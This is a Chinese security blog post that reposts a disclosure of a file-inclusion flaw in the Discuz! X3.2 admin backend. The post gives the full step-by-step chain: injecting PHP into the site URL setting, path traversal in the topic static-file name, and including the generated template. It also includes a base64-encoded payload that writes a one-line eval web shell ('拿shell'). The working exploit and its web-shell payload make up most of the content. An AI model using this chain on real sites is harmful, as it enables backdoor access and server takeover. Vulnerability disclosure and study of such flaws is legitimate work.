Discuz3.2漏洞文件包含漏洞可后台拿shell

作者：qxz_xp   发布：2014-07-23 08:34   分类：漏洞公布, 网络安全   暂无评论  

简要描述：
最新版本：Discuz! X3.2 Release 20140618

包括以前版本

详细说明：

由于创建专题时未对

静态化名称
做任何限制引发此漏洞
1.全局->站点信息

网站 URL:

http://www.comsenz.com/#<?phpfile_put_contents(‘0.php’,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=’));?>

shell-1

 

2.工具->更新缓存

shell-2

 

3.门户->HTML管理
静态文件扩展名: htm
专题HTML存放目录:data/cache

shell-3

 

4.创建专题
静态化名称[此处未做任何限制]：../../template/default/portal/portal_topic_test

shell-4

 

5.专题管理
对刚添加的专题 开启 并生成

shell-5

 

6.再次创建专题
模板名 选择刚生成的 ./template/default/portal/portal_topic_test.htm
提交

shell-6

 

就执行了php代码

<?php file_put_contents(‘0.php’,base64_decode(‘PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=’));?>
不仅仅是可以生成到专题目录，可以生成到任何可以包含的下面！
漏洞证明：
shell-7
漏洞来源与乌云。

原创文章转载请注明：转载自 七行者博客

本文固定链接: https://www.qxzxp.com/5000.html

QQ空间 微信 腾讯微博 新浪微博 我的搜狐 人人网 天涯社区 百度贴吧 更多
【上一篇】
【下一篇】

您可能还会对这些文章感兴趣！

  1. 微信曝远程任意代码执行漏洞，可被远程控制(1)
  2. Burpsuite1.7.03 渗透神器最新破解版(5)
  3. 北极熊扫描器3.5增加超级搜索，云平台支持在线安装(7)
  4. AirDrop漏洞 百万苹果设备可被默默安装恶意应用(2)
  5. 利用搜索引擎来进行漏洞批量抓取 php小脚本(1)
  6. 渗透神器Burpsuite Pro v1.6.24 破解版下载(1)
  7. 技术揭秘“QQ空间”自动转发不良信息(2)
  8. 窃听电话的Hacking Team RCSAndroid木马(1)
  9. 安全扫描神器Acunetix Web Vulnerability Sca
  10. 走近科学：周末一起去黑市逛逛
  11. WordPress默认主题存在DOM XSS漏洞 影响百(1)
  12. 防社会工程学攻击的简单技术与姿势(2)
  13. iOS 8漏洞导致wifi覆盖范围内任意iPhone iPad
  14. 七个黑你的理由
  15. Windows曝新漏洞 影响Win10在内的所有版本
  16. WordPress缓存插件WP-Super-Cache曝高危安全

Discuz3.2漏洞文件包含漏洞可后台拿shell：等您坐沙发呢！

发表评论

1 + 5 =

快捷键：Ctrl+Enter